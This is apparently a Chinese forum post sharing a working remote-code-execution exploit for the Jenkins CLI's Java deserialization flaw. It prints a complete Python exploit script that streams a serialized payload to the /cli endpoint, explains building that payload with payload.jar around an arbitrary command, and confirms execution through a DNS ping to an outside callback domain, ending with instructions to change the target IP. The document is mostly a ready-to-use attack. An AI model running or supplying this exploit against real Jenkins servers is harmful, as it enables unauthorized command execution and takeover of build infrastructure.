这是个土豪漏洞....
为什么说这是个土豪漏洞呢,因为我试了windows下生成利用是不成功的,到mac下是成功的,当然我问过其他基友了,他也说win下测试失败,mac成功。不是想说我有mac,我是让别人帮我生成的.......
EXP
首先附上jenkins_poc1.py - import urllib
- import requests
- import uuid
- import threading
- import time
- import gzip
- import urllib3
- import zlib
- proxies = {
- # 'http': 'http://127.0.0.1:8090',
- # 'https': 'http://127.0.0.1:8090',
- }
- URL='http://192.168.18.161:8080/cli'
- PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
- PROTO = '\x00\x00\x00\x00'
- FILE_SER = open("jenkins_poc1.ser", "rb").read()
- def download(url, session):
- headers = {'Side' : 'download'}
- headers['Content-type'] = 'application/x-www-form-urlencoded'
- headers['Session'] = session
- headers['Transfer-Encoding'] = 'chunked'
- r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True)
- print r.text
- def upload(url, session, data):
- headers = {'Side' : 'upload'}
- headers['Session'] = session
- headers['Content-type'] = 'application/octet-stream'
- headers['Accept-Encoding'] = None
- r = requests.post(url,data=data,headers=headers,proxies=proxies)
- def upload_chunked(url,session, data):
- headers = {'Side' : 'upload'}
- headers['Session'] = session
- headers['Content-type'] = 'application/octet-stream'
- headers['Accept-Encoding']= None
- headers['Transfer-Encoding'] = 'chunked'
- headers['Cache-Control'] = 'no-cache'
- r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies)
- def null_payload():
- yield " "
- def create_payload():
- payload = PREAMLE + PROTO + FILE_SER
- return payload
- def create_payload_chunked():
- yield PREAMLE
- yield PROTO
- yield FILE_SER
- def main():
- print "start"
- session = str(uuid.uuid4())
- t = threading.Thread(target=download, args=(URL, session))
- t.start()
- time.sleep(1)
- print "pwn"
- #upload(URL, session, create_payload())
- upload_chunked(URL, session, "asdf")
- if __name__ == "__main__":
- main()
复制代码https://github.com/nobleXu/jenkins
复现过程 首先看py文件,里面有个jenkins_poc1.ser文件,这个默认是没有的,就是要用上面的jar生成,命令为 java -jar payload.jar jenkins_poc1.ser "command" 因为这个exp暂时是不能回显的,所以我们这边测试走dns java -jar payload.jar jenkins_poc1.ser "ping jenkins.chinabaiker.com",如果我们监听的服务器收到请求,就说明能够执行命令。 这是mac生成的正常文件内容 而windows生成的只有他的一半,怪不得会失败...
最后我们还要更改py文件里面要进行攻击利用的ip。 最后运行的py dns收到请求,利用成功
|